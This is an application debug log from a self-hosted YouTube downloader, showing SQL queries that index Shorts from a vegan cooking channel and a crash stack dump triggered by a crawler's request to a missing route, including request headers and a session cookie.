s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:15.928 [debug] QUERY OK source="sources" db=0.4ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:15.930 [debug] QUERY OK source="media_items" db=2.0ms idle=1002.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-17 17:00:22Z], 1] 20:27:15.931 [debug] QUERY OK source="media_items" db=0.8ms idle=765.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our latest morning show episode we ventured down into the Stranger Things upside down to see what kind of weird food you'd eat down there. Check out the full Stranger Things themed taste test video here: https://youtu.be/MSUT1TA9hQ4", "The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts", "9f964e2a-c48f-46a4-8f5d-e73783f61c80", 1, [], 15, false, "L3iyG5vKrw4", "https://www.youtube.com/shorts/L3iyG5vKrw4", 241, "/downloads/downloads/alec/Steamy Vegan/2022-09-17 The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts/The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts [L3iyG5vKrw4].NA", false, false, true, 0, ~U[2022-09-17 17:00:22Z], ~U[2026-03-22 03:27:15Z], ~U[2026-03-22 03:27:15Z], "In our latest morning show episode we ventured down into the Stranger Things upside down to see what kind of weird food you'd eat down there. Check out the full Stranger Things themed taste test video here: https://youtu.be/MSUT1TA9hQ4", "The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts", 1, 15, false, "L3iyG5vKrw4", "https://www.youtube.com/shorts/L3iyG5vKrw4", "/downloads/downloads/alec/Steamy Vegan/2022-09-17 The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts/The Stranger Things Upside Down Kitchen 😱 #shorts #youtubeshorts [L3iyG5vKrw4].NA", true, ~U[2022-09-17 17:00:22Z]] 20:27:15.932 [debug] QUERY OK source="sources" db=0.4ms idle=390.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:15.933 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:15.933 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [630] 20:27:15.933 [debug] Current batch of media processed. Will check again in 1000ms 20:27:16.780 [info] GET /sources/1/media/410/force_download 20:27:16.781 [debug] QUERY OK source="settings" db=0.4ms idle=848.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:27:16.781 [debug] QUERY OK source="settings" db=0.2ms idle=848.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:27:16.781 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:27:16.781 [error] #PID<0.4295.0> running PinchflatWeb.Endpoint (connection #PID<0.4294.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/410/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/410/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/410/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 38600}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/410", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4295.0>, params: %{}, path_info: ["sources", "1", "media", "410", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/410"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/410/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MDwCGdKr-JIsAAD_R"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/410/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 38600}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/410", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/410/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4294.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/410/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 38600}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinch (truncated) 20:27:16.934 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "How to stop your herbs from wilting! SAVE THIS POST! ✔️\n\nThere’s a few ways to keep your herbs fresh and crisp but keeping them in a jar of water is by far the most effective! Some herbs like cilantro and parsley do best in the fridge but others like basil do better on the counter at room temp. Simply snip off the bottom inch or so of the stems so they’re able to suck up the water better. Your herbs should last up to a week or more this way! Give it a try 😉", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-16 How to stop your herbs from wilting 🥀 Reduce food waste!/How to stop your herbs from wilting 🥀 Reduce food waste! [DZ-DgTjuQhg].NA", "id" => "DZ-DgTjuQhg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DZ-DgTjuQhg", "playlist_index" => 242, "timestamp" => 1663370472, "title" => "How to stop your herbs from wilting 🥀 Reduce food waste!", "upload_date" => "20220916"} 20:27:16.935 [debug] QUERY OK source="sources" db=0.9ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:16.936 [debug] QUERY OK source="sources" db=0.6ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:16.939 [debug] QUERY OK source="media_items" db=2.3ms idle=768.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-16 23:21:12Z], 1] 20:27:16.940 [debug] QUERY OK source="media_items" db=0.8ms idle=158.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to stop your herbs from wilting! SAVE THIS POST! ✔️\n\nThere’s a few ways to keep your herbs fresh and crisp but keeping them in a jar of water is by far the most effective! Some herbs like cilantro and parsley do best in the fridge but others like basil do better on the counter at room temp. Simply snip off the bottom inch or so of the stems so they’re able to suck up the water better. Your herbs should last up to a week or more this way! Give it a try 😉", "How to stop your herbs from wilting 🥀 Reduce food waste!", "cb251c96-fd36-4632-a999-3f4fe889b3a7", 1, [], 27, false, "DZ-DgTjuQhg", "https://www.youtube.com/shorts/DZ-DgTjuQhg", 242, "/downloads/downloads/alec/Steamy Vegan/2022-09-16 How to stop your herbs from wilting 🥀 Reduce food waste!/How to stop your herbs from wilting 🥀 Reduce food waste! [DZ-DgTjuQhg].NA", false, false, true, 0, ~U[2022-09-16 23:21:12Z], ~U[2026-03-22 03:27:16Z], ~U[2026-03-22 03:27:16Z], "How to stop your herbs from wilting! SAVE THIS POST! ✔️\n\nThere’s a few ways to keep your herbs fresh and crisp but keeping them in a jar of water is by far the most effective! Some herbs like cilantro and parsley do best in the fridge but others like basil do better on the counter at room temp. Simply snip off the bottom inch or so of the stems so they’re able to suck up the water better. Your herbs should last up to a week or more this way! Give it a try 😉", "How to stop your herbs from wilting 🥀 Reduce food waste!", 1, 27, false, "DZ-DgTjuQhg", "https://www.youtube.com/shorts/DZ-DgTjuQhg", "/downloads/downloads/alec/Steamy Vegan/2022-09-16 How to stop your herbs from wilting 🥀 Reduce food waste!/How to stop your herbs from wilting 🥀 Reduce food waste! [DZ-DgTjuQhg].NA", true, ~U[2022-09-16 23:21:12Z]] 20:27:16.940 [debug] QUERY OK source="sources" db=0.3ms idle=159.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:16.941 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:16.942 [debug] QUERY OK source="media_items" db=0.6ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [631] 20:27:16.942 [debug] Current batch of media processed. Will check again in 1000ms 20:27:17.943 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In this episode we travelled interdimensionally to find some of the weirdest cereals to taste test. How does this bowl of apple Tearios taste...find out in the full episode here: https://youtu.be/61RluSVNks4", "duration" => 16, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-14 Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts/Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts [1aE4srIDSXY].NA", "id" => "1aE4srIDSXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1aE4srIDSXY", "playlist_index" => 243, "timestamp" => 1663179420, "title" => "Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts", "upload_date" => "20220914"} 20:27:17.944 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:17.945 [debug] QUERY OK source="sources" db=0.7ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:17.948 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-14 18:17:00Z], 1] 20:27:17.950 [debug] QUERY OK source="media_items" db=2.0ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode we travelled interdimensionally to find some of the weirdest cereals to taste test. How does this bowl of apple Tearios taste...find out in the full episode here: https://youtu.be/61RluSVNks4", "Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts", "276d5c80-8924-4399-924b-847b80830332", 1, [], 16, false, "1aE4srIDSXY", "https://www.youtube.com/shorts/1aE4srIDSXY", 243, "/downloads/downloads/alec/Steamy Vegan/2022-09-14 Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts/Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts [1aE4srIDSXY].NA", false, false, true, 0, ~U[2022-09-14 18:17:00Z], ~U[2026-03-22 03:27:17Z], ~U[2026-03-22 03:27:17Z], "In this episode we travelled interdimensionally to find some of the weirdest cereals to taste test. How does this bowl of apple Tearios taste...find out in the full episode here: https://youtu.be/61RluSVNks4", "Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts", 1, 16, false, "1aE4srIDSXY", "https://www.youtube.com/shorts/1aE4srIDSXY", "/downloads/downloads/alec/Steamy Vegan/2022-09-14 Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts/Cheerios VS Tearios - The Interdimensional Kitchen inspired by Rick and Morty #shorts [1aE4srIDSXY].NA", true, ~U[2022-09-14 18:17:00Z]] 20:27:17.951 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=780.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:17.952 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:17.953 [debug] QUERY OK source="media_items" db=0.5ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [632] 20:27:17.953 [debug] Current batch of media processed. Will check again in 1000ms 20:27:18.954 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Tomorrow we launch our first episode of a new series called Good Morning Vegan Fam where we'll be doing all kinds of strange food taste tests, reactions, reviews and food challenges. Subscribe and prepare yourself to go interdimensional, like Rick and Morty, with us in episode 1.", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-09 Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts/Reactions to Strange Interdimensional Foods 🤢 #shorts #youtubeshorts [F-BU7RrjX2M].NA", "id" => "F-BU7RrjX2M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/F-BU7RrjX2M", "playlist_index" => 